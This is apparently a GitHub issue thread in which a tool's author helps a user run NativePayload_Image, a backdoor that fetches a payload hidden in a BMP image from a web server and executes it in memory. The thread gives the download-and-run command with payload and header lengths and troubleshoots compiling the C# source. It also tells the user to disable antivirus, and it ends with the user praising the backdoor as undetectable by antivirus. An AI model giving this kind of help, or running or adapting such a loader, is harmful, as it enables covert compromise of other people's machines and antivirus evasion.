could You help me please?

[DamonMohammadbagher]

now you need to use Backdoor again by this syntax to downloading BMP file from apache in this case your syntax is 👍

c:> NativePayload_Image.exe url "http://target_webserver_ip/test3.bmp" 449 54

note: 449 is your payload length and 54 is your header length

but your payload should be 510 i think 449 is wrong maybe .... ;)

I'm running on kali linux and i your .cs code compiled with mono. Is it ok? I typed: mcs -out:NativePayload_Image.exe NativePayload_Image.cs

# mono --version Mono JIT compiler version 4.6.2 (Debian 4.6.2.7+dfsg-1) Copyright (C) 2002-2014 Novell, Inc, Xamarin Inc and Contributors. www.mono-project.com TLS: __thread SIGSEGV: altstack Notifications: epoll Architecture: amd64 Disabled: none Misc: softdebug LLVM: supported, not enabled. GC: sgen

[Ciangi]

Oh okay .... my Mono is for .net 4.6 ...and it's not supported in your project ;D

[DamonMohammadbagher]

ok now tell me are you have Anti-virus ? if yes please check this without AV so disable all av features or exit that tool ;D and tell me your result now

[DamonMohammadbagher]

damn man yea make this project by .NET 4.0 or 3.5 hahahaahahaha

[Ciangi]

yep i have Avast, disabled it, opened image and nothing ... :<

Do you know how to downgrade Mono ?:( or do you know another tool to compile .cs with .net 4.0 ??

[DamonMohammadbagher]

just change your project properties to .NET 4.0 then it should work ;D

[DamonMohammadbagher]

mono , when you want make new project i think you can select .NET Framework version then you can change it to 4.0 or 3.5

[DamonMohammadbagher]

AND 449 in this case is correct your payload length is 449

[Ciangi]

unfortunately in MonoDevelop can't do this XD

what a ....

[Ciangi]

oh sorry ! i can change ! but for 4.5 , 4.5.1 , 4.5.2, 4.6 and 4.6.1 !! ;(

[DamonMohammadbagher]

in "monodevelop" tool you can change it 👍 Project options => build > general > Target framework : select mono/.NET 4.0 or gamelogic.co.za/grids/documentation-contents/how-to-set-your-target-framework-to-mono-net4-in-monodevelop/ or https://stackoverflow.com/questions/6378137/mono-how-to-change-target-framework

[DamonMohammadbagher]

in this link maybe you can compile your code ;) https://www.tutorialspoint.com/compile_csharp_online.php

[Ciangi]

not working :( but have great idea ! I run visual studio 2015 enterprise on my windows and try to compile it in .net 4 ;D

[Ciangi]

Okay so i tried to compile it with .net 4 or .net 4 client profile and the same .... can't establish connection :(

[Ciangi]

still got:

Okay i know where is a problem. reference to that page: https://www.essentialobjects.com/forum/postsm17563_Syntax-Editor-throwing-exception-on-Linux--VirtualAlloc-not-found.aspx

System.EntryPointNotFoundException: VirtualAlloc

answer: The controls are for Windows only and it uses Windows API extensively. It's not just one or two functions calls. It's everywhere. Thus it's not possible to run on Linux.

i executed the exe file on windows and works like a charm! thanks for help!

[Ciangi]

to be honest with you, i got first backdoor which is not detectable by my AVs :O Good job!

[DamonMohammadbagher]

your welcome
